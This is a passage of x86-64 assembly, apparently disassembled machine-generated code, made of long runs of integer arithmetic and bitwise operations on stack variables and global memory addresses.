mov rax, qword [rsp + 0xc0a8]
mov ecx, dword [rsp + 0x5054]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4970], eax
movzx eax, byte [rsp + 0x1d5]
mov rcx, qword [0x14019d988]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb340]
mov byte [rcx], al
movzx eax, word [rsp + 0x1350]
mov word [rsp + 0x153c], ax
mov rax, qword [rsp + 0xcee0]
mov rcx, qword [rsp + 0xc428]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb2e0]
mov dword [rcx], eax
lea rax, [rsp + 0x4288]
mov qword [rsp + 0xdfb0], rax
mov eax, dword [rsp + 0x4bf4]
mov rcx, qword [0x14019dba8]
mov qword [rsp + 0xdfb8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdfb8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x4744], eax
mov rax, qword [rsp + 0xb970]
mov rcx, qword [rsp + 0xaaf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x14019c170], eax
mov eax, dword [rsp + 0x44fc]
movzx ecx, al
mov eax, dword [0x14019c0a4]
shl eax, cl
mov dword [rsp + 0x4fe4], eax
lea rax, [rsp + 0x219]
mov qword [rsp + 0xdfc0], rax
movsx eax, word [rsp + 0xcb4]
mov rcx, qword [rsp + 0xa658]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xde40]
mov word [rcx], ax
lea rax, [rsp + 0xfc4]
mov qword [rsp + 0xdfc8], rax
mov rax, qword [rsp + 0xdc70]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x56]
and eax, ecx
mov rcx, qword [rsp + 0xd930]
mov byte [rcx], al
mov rax, qword [rsp + 0xc320]
mov eax, dword [rax]
mov dword [rsp + 0x5204], eax
mov rax, qword [0x14019ddf8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4b7c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa680]
mov dword [rcx], eax
movzx eax, word [rsp + 0xf50]
movzx ecx, word [rsp + 0x14c4]
add eax, ecx
mov rcx, qword [rsp + 0xb600]
mov word [rcx], ax
mov rax, qword [rsp + 0xd438]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x252]
sub eax, ecx
mov byte [0x14019bfaa], al
lea rax, [0x14019c168]
mov qword [rsp + 0xdfd0], rax
mov rax, qword [rsp + 0xd420]
mov ecx, dword [rsp + 0x4208]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xbc78]
mov dword [rcx], eax
lea rax, [rsp + 0x4580]
mov qword [rsp + 0xdfd8], rax
mov rax, qword [rsp + 0xdf28]
mov ecx, dword [rsp + 0x4e24]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4794], eax
movzx eax, byte [rsp + 0x26b]
movzx ecx, byte [rsp + 0x284]
add eax, ecx
mov rcx, qword [rsp + 0xc5f0]
mov byte [rcx], al
lea rax, [rsp + 0x11f8]
mov qword [rsp + 0xdfe0], rax
mov rax, qword [rsp + 0xc7f8]
mov eax, dword [rax]
mov ecx, dword [0x14019bef8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xda70]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd6f0]
mov ecx, dword [rsp + 0x4638]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3a40], eax
movsx eax, word [rsp + 0x130c]
movsx ecx, word [rsp + 0xc94]
shl eax, cl
mov word [0x14019bf24], ax
mov rax, qword [rsp + 0xc390]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2d0]
or eax, ecx
mov rcx, qword [rsp + 0xbd48]
mov byte [rcx], al
movzx eax, byte [rsp + 0x25d]
movzx ecx, byte [rsp + 0x27e]
sar eax, cl
mov byte [rsp + 0x2d6], al
movzx eax, word [rsp + 0x13f0]
mov word [rsp + 0x1540], ax
mov rax, qword [rsp + 0xdf60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4018]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4938], eax
mov eax, dword [rsp + 0x3618]
mov dword [rsp + 0x5208], eax
mov eax, dword [rsp + 0x4f80]
mov ecx, dword [0x14019c120]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4930], eax
mov rax, qword [rsp + 0xcbf0]
mov ecx, dword [rsp + 0x4630]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x44d8], eax
mov eax, dword [rsp + 0x5174]
mov dword [rsp + 0x520c], eax
mov rax, qword [rsp + 0xb968]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x256]
sub eax, ecx
mov byte [rsp + 0x227], al
movzx eax, word [rsp + 0xfb8]
mov word [0x14019e1d8], ax
mov rax, qword [rsp + 0xaca8]
mov eax, dword [rax]
mov dword [rsp + 0x5210], eax
mov eax, dword [rsp + 0x51bc]
mov ecx, dword [rsp + 0x4904]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc188]
mov dword [rcx], eax
mov eax, dword [rsp + 0x35b8]
mov dword [rsp + 0x5214], eax
mov rax, qword [rsp + 0xa840]
mov ecx, dword [rsp + 0x44f8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x48a0], eax
mov rax, qword [rsp + 0xaf40]
movzx eax, word [rax]
mov rcx, qword [0x14019da88]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc888]
mov word [rcx], ax
lea rax, [rsp + 0x1f6]
mov qword [rsp + 0xdfe8], rax
mov rax, qword [rsp + 0xbee0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd840]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb308]
mov word [rcx], ax
mov rax, qword [0x14019ddc0]
movzx eax, byte [rax]
mov byte [rsp + 0x2e8], al
mov rax, qword [rsp + 0xa4c8]
mov rcx, qword [rsp + 0xcad8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14019c174], eax
mov rax, qword [rsp + 0xd8f0]
mov ecx, dword [rsp + 0x4480]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x49e8], eax
movzx eax, word [0x14019c018]
movzx ecx, word [rsp + 0x1324]
and eax, ecx
mov word [rsp + 0xfa8], ax
movzx eax, byte [rsp + 0x1a0]
mov byte [rsp + 0x2e9], al
mov rax, qword [rsp + 0xb6f8]
mov rcx, qword [rsp + 0xabd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xde30]
mov dword [rcx], eax
lea rax, [rsp + 0x42c4]
mov qword [rsp + 0xdff0], rax
mov eax, dword [rsp + 0x47a4]
movzx ecx, al
mov eax, dword [rsp + 0x4858]
sar eax, cl
mov dword [rsp + 0x46b8], eax
mov rax, qword [rsp + 0xd660]
mov rcx, qword [rsp + 0xa7e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x50b0], eax
lea rax, [rsp + 0x160]
mov qword [rsp + 0xdff8], rax
mov rax, qword [rsp + 0xaf58]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb870]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x14019d850], ax
mov rax, qword [rsp + 0xc1d8]
mov ecx, dword [rsp + 0x4a3c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5080], eax
mov rax, qword [rsp + 0xae30]
mov eax, dword [rax]
mov dword [rsp + 0x5218], eax
mov eax, dword [rsp + 0x50d4]
mov ecx, dword [rsp + 0x429c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x490c], eax
mov eax, dword [rsp + 0x4778]
mov ecx, dword [rsp + 0x45d8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3e70], eax
mov rax, qword [rsp + 0xbc70]
mov rcx, qword [rsp + 0xb980]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4734], eax
mov rax, qword [rsp + 0xca60]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xfa0]
sub eax, ecx
mov rcx, qword [rsp + 0xa6f0]
mov word [rcx], ax
lea rax, [0x14019bfd6]
mov qword [rsp + 0xe000], rax
mov rax, qword [rsp + 0xbee8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1124]
sub eax, ecx
mov rcx, qword [rsp + 0xc910]
mov word [rcx], ax
mov rax, qword [rsp + 0xca28]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc638]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14019d794], al
lea rax, [0x14019c144]
mov qword [rsp + 0xe008], rax
mov eax, dword [rsp + 0x5110]
mov ecx, dword [rsp + 0x4c1c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc320]
mov dword [rcx], eax
mov rax, qword [rsp + 0xda38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x200]
sub eax, ecx
mov rcx, qword [rsp + 0xa4f8]
mov byte [rcx], al
movzx eax, word [rsp + 0xf6c]
mov word [rsp + 0x1544], ax
mov rax, qword [rsp + 0xae30]
mov rcx, qword [rsp + 0xba98]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4a34], eax
mov rax, qword [rsp + 0xc1d8]
mov eax, dword [rax]
mov dword [rsp + 0x521c], eax
mov rax, qword [rsp + 0xb608]
mov ecx, dword [rsp + 0x45dc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb0e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbe48]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb220]
mov qword [rsp + 0xe010], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe010]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4984], eax
movzx eax, word [rsp + 0xfa8]
mov rcx, qword [0x14019dbf8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x14019c178], ax
mov rax, qword [rsp + 0xc988]
movzx eax, byte [rax]
mov byte [rsp + 0x2ea], al
mov eax, dword [rsp + 0x44e4]
movzx ecx, al
mov eax, dword [rsp + 0x4758]
shr eax, cl
mov rcx, qword [rsp + 0xb658]
mov dword [rcx], eax
lea rax, [rsp + 0x4804]
mov qword [rsp + 0xe018], rax
mov rax, qword [rsp + 0xd3c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x22f]
or eax, ecx
mov byte [rsp + 0x2c0], al
movsx eax, word [rsp + 0x1180]
movsx ecx, word [rsp + 0x1498]
and eax, ecx
mov word [rsp + 0x1038], ax
movzx eax, word [rsp + 0x10d4]
mov word [rsp + 0x1548], ax
mov rax, qword [rsp + 0xa968]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa940]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xaee8]
mov byte [rcx], al
mov rax, qword [rsp + 0xc578]
mov eax, dword [rax]
mov dword [rsp + 0x5220], eax
mov rax, qword [rsp + 0xb080]
mov ecx, dword [0x14019c10c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x14019dd98]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd288]
mov rcx, qword [rsp + 0xcfa0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3b54], eax
mov eax, dword [rsp + 0x4594]
mov dword [rsp + 0x5224], eax
mov rax, qword [rsp + 0xaa18]
mov ecx, dword [0x14019e1a8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb820]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcca8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb828]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1334], ax
lea rax, [rsp + 0x1af]
mov qword [rsp + 0xe020], rax
mov rax, qword [rsp + 0xd608]
mov rcx, qword [rsp + 0xbc38]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x488c], eax
lea rax, [rsp + 0x5094]
mov qword [rsp + 0xe028], rax
mov rax, qword [rsp + 0xc268]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4510]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4438], eax
lea rax, [rsp + 0x51bc]
mov qword [0x14019e1e0], rax
movzx eax, word [0x14019c0ec]
mov rcx, qword [rsp + 0xc3b8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa768]
mov word [rcx], ax
lea rax, [rsp + 0x9a]
mov qword [rsp + 0xe030], rax
movsx eax, word [rsp + 0x1240]
movsx ecx, word [rsp + 0x1038]
or eax, ecx
mov word [rsp + 0xc48], ax
lea rax, [rsp + 0x17e]
mov qword [rsp + 0xe038], rax
mov eax, dword [rsp + 0x3ca4]
mov ecx, dword [rsp + 0x4fa4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x42f8], eax
mov rax, qword [0x14019dd98]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x42b0]
sar eax, cl
mov rcx, qword [rsp + 0xb800]
mov dword [rcx], eax
lea rax, [rsp + 0x13f4]
mov qword [rsp + 0xe040], rax
movzx eax, byte [rsp + 0x1cd]
movzx ecx, byte [rsp + 0x2d7]
shl eax, cl
mov rcx, qword [rsp + 0xdb00]
mov byte [rcx], al
mov rax, qword [rsp + 0xcc30]
mov ecx, dword [0x14019c060]
mov eax, dword [rax]
and eax, ecx
mov dword [0x14019c0b0], eax
lea rax, [rsp + 0x4630]
mov qword [rsp + 0xe048], rax
mov eax, dword [rsp + 0x3ca0]
mov ecx, dword [rsp + 0x41e4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd430]
mov dword [rcx], eax
mov eax, dword [0x14019bffc]
mov ecx, dword [rsp + 0x4ed8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5110], eax
lea rax, [rsp + 0x18a]
mov qword [rsp + 0xe050], rax
movzx eax, word [rsp + 0x1508]
movzx ecx, word [rsp + 0x1134]
sub eax, ecx
mov rcx, qword [rsp + 0xd270]
mov word [rcx], ax
lea rax, [0x14019befc]
mov qword [rsp + 0xe058], rax
mov rax, qword [rsp + 0xd0e0]
mov ecx, dword [rsp + 0x4a9c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4bf8], eax
lea rax, [rsp + 0x4d90]
mov qword [rsp + 0xe060], rax
lea rax, [rsp + 0x4cac]
mov qword [0x14019e1e8], rax
mov rax, qword [0x14019ddf8]
mov ecx, dword [rsp + 0x474c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3c38], eax
mov rax, qword [rsp + 0xbaf0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbea8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x67], al
mov rax, qword [rsp + 0xae38]
movzx eax, word [rax]
mov word [rsp + 0x154c], ax
movzx eax, word [0x14019bf14]
mov rcx, qword [rsp + 0xa898]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb2c8]
mov word [rcx], ax
lea rax, [rsp + 0x1e0]
mov qword [rsp + 0xe068], rax
mov eax, dword [rsp + 0x39c4]
mov ecx, dword [rsp + 0x51cc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x44b8], eax
mov rax, qword [rsp + 0xbc48]
mov ecx, dword [rsp + 0x4d1c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xad90]
mov dword [rcx], eax
lea rax, [rsp + 0x2a5]
mov qword [rsp + 0xe070], rax
mov rax, qword [rsp + 0xc8b0]
movzx eax, word [rax]
mov word [0x14019e1f0], ax
mov rax, qword [rsp + 0xc320]
mov rcx, qword [rsp + 0xb388]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xcbc0]
mov dword [rcx], eax
lea rax, [rsp + 0x4ff0]
mov qword [rsp + 0xe078], rax
mov eax, dword [rsp + 0x4630]
mov rcx, qword [rsp + 0xbc70]
mov qword [rsp + 0xe080], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe080]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xadf8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc100]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x473c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc708]
mov dword [rcx], eax
lea rax, [rsp + 0x1c6]
mov qword [rsp + 0xe088], rax
mov rax, qword [rsp + 0xba20]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd38]
shl eax, cl
mov word [rsp + 0xeb4], ax
mov eax, dword [0x14019bf60]
mov dword [rsp + 0x5228], eax
mov eax, dword [rsp + 0x4ec0]
mov ecx, dword [rsp + 0x4a68]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4b80], eax
movsx eax, word [rsp + 0x13c0]
mov rcx, qword [rsp + 0xc2b0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14019d940]
mov word [rcx], ax
lea rax, [rsp + 0x2d0]
mov qword [rsp + 0xe090], rax
movzx eax, word [rsp + 0x11e0]
movzx ecx, word [rsp + 0xcec]
add eax, ecx
mov word [rsp + 0x1414], ax
mov rax, qword [rsp + 0xc318]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd188]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x183], al
mov rax, qword [0x14019dca8]
mov rcx, qword [rsp + 0xbd78]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x34bc], eax
mov eax, dword [rsp + 0x45ac]
mov ecx, dword [rsp + 0x4c14]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcdd0]
mov dword [rcx], eax
mov rax, qword [0x14019dc08]
mov eax, dword [rax]
mov dword [rsp + 0x522c], eax
mov rax, qword [rsp + 0xb660]
mov rcx, qword [rsp + 0xc0c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x36fc], eax
mov rax, qword [rsp + 0xc0c0]
mov rcx, qword [rsp + 0xb000]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xd538]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb758]
movzx eax, word [rax]
mov word [rsp + 0x1550], ax
movzx eax, byte [rsp + 0x26a]
mov rcx, qword [rsp + 0xa720]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14019bf0a], al
mov eax, dword [rsp + 0x4c54]
mov ecx, dword [rsp + 0x44a4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcbc0]
mov dword [rcx], eax
lea rax, [0x14019c08c]
mov qword [rsp + 0xe098], rax
mov rax, qword [rsp + 0xd268]
mov ecx, dword [rsp + 0x4cb0]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xd278]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3dd0]
mov rcx, qword [rsp + 0xb528]
mov qword [rsp + 0xe0a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe0a0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xa888]
mov dword [rcx], eax
mov rax, qword [0x14019e1b8]
movzx eax, byte [rax]
mov byte [rsp + 0x2eb], al
movzx eax, word [rsp + 0x12d4]
mov rcx, qword [rsp + 0xc498]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xf70], ax
lea rax, [rsp + 0x1b8]
mov qword [rsp + 0xe0a8], rax
movsx eax, word [rsp + 0x11ec]
mov rcx, qword [rsp + 0xba08]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x127c], ax
mov rax, qword [rsp + 0xca90]
mov ecx, dword [rsp + 0x5120]
mov eax, dword [rax]
and eax, ecx
mov dword [0x14019c17c], eax
mov rax, qword [rsp + 0xb0e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x468c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb848]
mov dword [rcx], eax
lea rax, [rsp + 0x10fc]
mov qword [rsp + 0xe0b0], rax
mov rax, qword [rsp + 0xb450]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2d4]
add eax, ecx
mov byte [rsp + 0x176], al
mov eax, dword [rsp + 0x489c]
mov dword [rsp + 0x5230], eax
mov rax, qword [rsp + 0xb580]
mov ecx, dword [rsp + 0x3ffc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xdf28]
mov dword [rcx], eax
lea rax, [rsp + 0x4680]
mov qword [rsp + 0xe0b8], rax
mov eax, dword [rsp + 0x436c]
mov ecx, dword [rsp + 0x4f18]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4c6c], eax
mov rax, qword [0x14019da20]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xace8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xdff8]
mov byte [rcx], al
mov rax, qword [rsp + 0xdda0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb5e0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14019c180], ax
lea rax, [0x14019bf98]
mov qword [rsp + 0xe0c0], rax
mov rax, qword [rsp + 0xb848]
mov rcx, qword [rsp + 0xd2c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4310], eax
lea rax, [rsp + 0x4d6c]
mov qword [rsp + 0xe0c8], rax
mov rax, qword [rsp + 0xbc78]
mov rcx, qword [rsp + 0xc9d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x45ec], eax
mov rax, qword [rsp + 0xdaf0]
mov rcx, qword [rsp + 0xbc28]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xc270]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x251]
mov byte [rsp + 0x2ec], al
mov rax, qword [rsp + 0xa630]
movsx eax, word [rax]
mov rcx, qword [0x14019d940]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1114], ax
lea rax, [rsp + 0x200]
mov qword [rsp + 0xe0d0], rax
movzx eax, word [rsp + 0x1224]
movzx ecx, word [rsp + 0x12c4]
or eax, ecx
mov word [0x14019c0b8], ax
mov rax, qword [0x14019e010]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4c3c]
shr eax, cl
mov dword [rsp + 0x38f0], eax
mov eax, dword [rsp + 0x499c]
mov ecx, dword [rsp + 0x49b0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4284], eax
movzx eax, byte [rsp + 0x226]
mov byte [rsp + 0x2ed], al
mov rax, qword [rsp + 0xb370]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1384]
and eax, ecx
mov rcx, qword [rsp + 0xcf68]
mov word [rcx], ax
lea rax, [rsp + 0x447c]
mov qword [rsp + 0xe0d8], rax
mov rax, qword [rsp + 0xd5b0]
mov rcx, qword [rsp + 0xbd40]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xd670]
mov dword [rcx], eax
lea rax, [0x14019e1a8]
mov qword [rsp + 0xe0e0], rax
mov rax, qword [rsp + 0xbde0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4820]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb880]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x2b1]
mov rcx, qword [rsp + 0xc3e8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x14019d918]
mov byte [rcx], al
mov rax, qword [0x14019dd08]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x11e0]
sub eax, ecx
mov rcx, qword [rsp + 0xc8b0]
mov word [rcx], ax
lea rax, [rsp + 0x5110]
mov qword [rsp + 0xe0e8], rax
mov eax, dword [rsp + 0x3590]
mov ecx, dword [rsp + 0x4180]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4be8], eax
movzx eax, byte [rsp + 0x28b]
mov byte [rsp + 0x2ee], al
mov rax, qword [rsp + 0xb0a0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14f8]
add eax, ecx
mov rcx, qword [rsp + 0xd090]
mov word [rcx], ax
movzx eax, word [rsp + 0x11fc]
mov rcx, qword [rsp + 0xb480]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x12c0], ax
mov rax, qword [0x14019d890]
movzx eax, byte [rax]
mov byte [rsp + 0x2ef], al
mov rax, qword [rsp + 0xc008]
mov rcx, qword [rsp + 0xd888]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xcea8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xce88]
mov eax, dword [rax]
mov dword [0x14019e1f4], eax
lea rax, [rsp + 0x4d68]
mov qword [rsp + 0xe0f0], rax
mov eax, dword [rsp + 0x48d4]
mov rcx, qword [rsp + 0xacb0]
mov qword [rsp + 0xe0f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe0f8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x5110], eax
mov rax, qword [rsp + 0xdd48]
mov rcx, qword [rsp + 0xcf48]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xd648]
mov dword [rcx], eax
lea rax, [0x14019dca0]
mov qword [rsp + 0xe100], rax
movzx eax, byte [rsp + 0x264]
movzx ecx, byte [rsp + 0x2ea]
shl eax, cl
mov byte [rsp + 0x1a2], al
mov rax, qword [rsp + 0xc978]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ab0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3be4], eax
mov rax, qword [rsp + 0xd870]
mov eax, dword [rax]
mov ecx, dword [0x14019bf3c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4220], eax
mov rax, qword [rsp + 0xdc28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4670]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd298]
mov dword [rcx], eax
mov rax, qword [rsp + 0xab30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x472c]
and ecx, eax
mov eax, ecx
mov dword [0x14019bfa0], eax
movzx eax, byte [rsp + 0x119]
mov byte [rsp + 0x2f0], al
movzx eax, word [rsp + 0x1374]
movzx ecx, word [rsp + 0x12a0]
add eax, ecx
mov rcx, qword [rsp + 0xc3b8]
mov word [rcx], ax
movzx eax, word [rsp + 0x14e0]
mov word [rsp + 0x1554], ax
movsx eax, byte [rsp + 0xc2]
movsx ecx, byte [rsp + 0x2ba]
add eax, ecx
mov rcx, qword [rsp + 0xbc10]
mov byte [rcx], al
mov rax, qword [rsp + 0xbb48]
mov eax, dword [rax]
mov dword [rsp + 0x5234], eax
mov rax, qword [rsp + 0xba98]
mov ecx, dword [rsp + 0x3ef8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x43fc], eax
movzx eax, word [rsp + 0x12a8]
mov rcx, qword [rsp + 0xc598]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd348]
mov word [rcx], ax
mov rax, qword [rsp + 0xc3e8]
movzx eax, byte [rax]
mov byte [rsp + 0x2f1], al
mov rax, qword [rsp + 0xbd60]
mov ecx, dword [0x14019e138]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14019c184], eax
mov eax, dword [rsp + 0x43c4]
mov ecx, dword [rsp + 0x4edc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xda48]
mov dword [rcx], eax
mov rax, qword [rsp + 0xdeb0]
mov eax, dword [rax]
mov dword [rsp + 0x5238], eax
mov rax, qword [rsp + 0xbe58]
mov ecx, dword [rsp + 0x5130]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xbec8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x21a]
mov rcx, qword [rsp + 0xa890]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb978]
mov byte [rcx], al
movzx eax, word [rsp + 0xfa8]
mov word [rsp + 0x1558], ax
mov rax, qword [rsp + 0xb248]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4ff0]
shl eax, cl
mov dword [rsp + 0x5014], eax
lea rax, [rsp + 0x44f0]
mov qword [rsp + 0xe108], rax
mov rax, qword [rsp + 0xae00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x42c4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c00], eax
mov rax, qword [rsp + 0xbed8]
mov rcx, qword [rsp + 0xb950]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x14019c158], eax
mov eax, dword [rsp + 0x4b88]
movzx ecx, al
mov eax, dword [rsp + 0x3cc0]
sar eax, cl
mov rcx, qword [rsp + 0xd420]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x2d3]
mov byte [rsp + 0x2f2], al
movsx eax, word [0x14019c004]
mov rcx, qword [rsp + 0xbee0]
movsx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0xf20], ax
lea rax, [rsp + 0x11c8]
mov qword [rsp + 0xe110], rax
movzx eax, byte [rsp + 0x256]
movzx ecx, byte [rsp + 0x1ca]
and eax, ecx
mov byte [rsp + 0x15c], al
mov rax, qword [0x14019dcd8]
